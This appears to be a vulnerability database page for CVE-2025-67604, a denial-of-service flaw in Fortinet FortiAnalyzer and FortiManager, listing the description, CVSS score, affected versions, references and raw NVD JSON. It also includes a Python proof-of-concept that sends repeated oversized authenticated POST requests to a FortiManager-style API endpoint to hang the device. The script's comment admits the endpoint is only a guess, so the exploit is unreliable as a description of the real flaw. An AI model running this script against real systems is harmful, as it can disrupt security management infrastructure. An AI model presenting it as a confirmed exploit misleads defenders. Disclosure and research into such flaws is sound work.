CVE-2025-67604

Description

A use of potentially dangerous function vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.8, FortiAnalyzer 7.2 all versions, FortiAnalyzer 7.0 all versions, FortiAnalyzer 6.4 all versions, FortiManager 7.6.0 through 7.6.4, FortiManager 7.4.0 through 7.4.8, FortiManager 7.2 all versions, FortiManager 7.0 all versions, FortiManager 6.4 all versions may allow an authenticated attacker to cause a system hang via multiple specially crafted HTTP requests causing crashes. This happens if internal locks are aligned, which is out of control of the attacker.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Fortinet FortiAnalyzer 7.6.0 - 7.6.4

Fortinet FortiAnalyzer 7.4.0 - 7.4.8

Fortinet FortiAnalyzer 7.2.x

Fortinet FortiAnalyzer 7.0.x

Fortinet FortiAnalyzer 6.4.x

Fortinet FortiManager 7.6.0 - 7.6.4

Fortinet FortiManager 7.4.0 - 7.4.8

Fortinet FortiManager 7.2.x

Fortinet FortiManager 7.0.x

Fortinet FortiManager 6.4.x

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# Disclaimer: This Proof of Concept (PoC) is for educational and research purposes only.
# Do not use against systems without explicit permission.

def trigger_vulnerability(target_url, token):
    """
    Sends multiple crafted HTTP requests to attempt to trigger the DoS condition.
    """
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    
    # Example endpoint (actual endpoint may vary based on specific vulnerability analysis)
    endpoint = f"{target_url}/api/v2/cmdb/system/virus-report"
    
    payload = {
        # Crafted payload designed to stress internal locks
        "results": {
            "scan_id": "test",
            "viruses": ["A" * 10000] * 10
        }
    }

    print(f"[*] Sending crafted requests to {target_url}...")
    
    try:
        for i in range(100):
            response = requests.post(endpoint, json=payload, headers=headers, timeout=5)
            print(f"Request {i+1}: Status Code {response.status_code}")
            if response.status_code == 500 or response.status_code == 503:
                print("[!] System may be unresponsive or crashing.")
                break
    except requests.exceptions.RequestException as e:
        print(f"[!] Connection error occurred: {e}")
        print("[!] This might indicate a successful Denial of Service.")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python poc.py <target_url> <auth_token>")
        sys.exit(1)
    
    url = sys.argv[1]
    auth_token = sys.argv[2]
    trigger_vulnerability(url, auth_token)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67604
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67604
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67604/
[4] VulDB https://vuldb.com/cve/CVE-2025-67604
[5] https://fortiguard.fortinet.com/psirt/FG-IR-26-137

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67604", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:36.470", "lastModified": "2026-05-12T18:57:02.307", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use of potentially dangerous function vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.8, FortiAnalyzer 7.2 all versions, FortiAnalyzer 7.0 all versions, FortiAnalyzer 6.4 all versions, FortiManager 7.6.0 through 7.6.4, FortiManager 7.4.0 through 7.4.8, FortiManager 7.2 all versions, FortiManager 7.0 all versions, FortiManager 6.4 all versions may allow an authenticated attacker to cause a system hang via multiple specially crafted HTTP requests causing crashes. This happens if internal locks are aligned, which is out of control of the attacker."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-676"}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-137", "source": "[email protected]"}]}}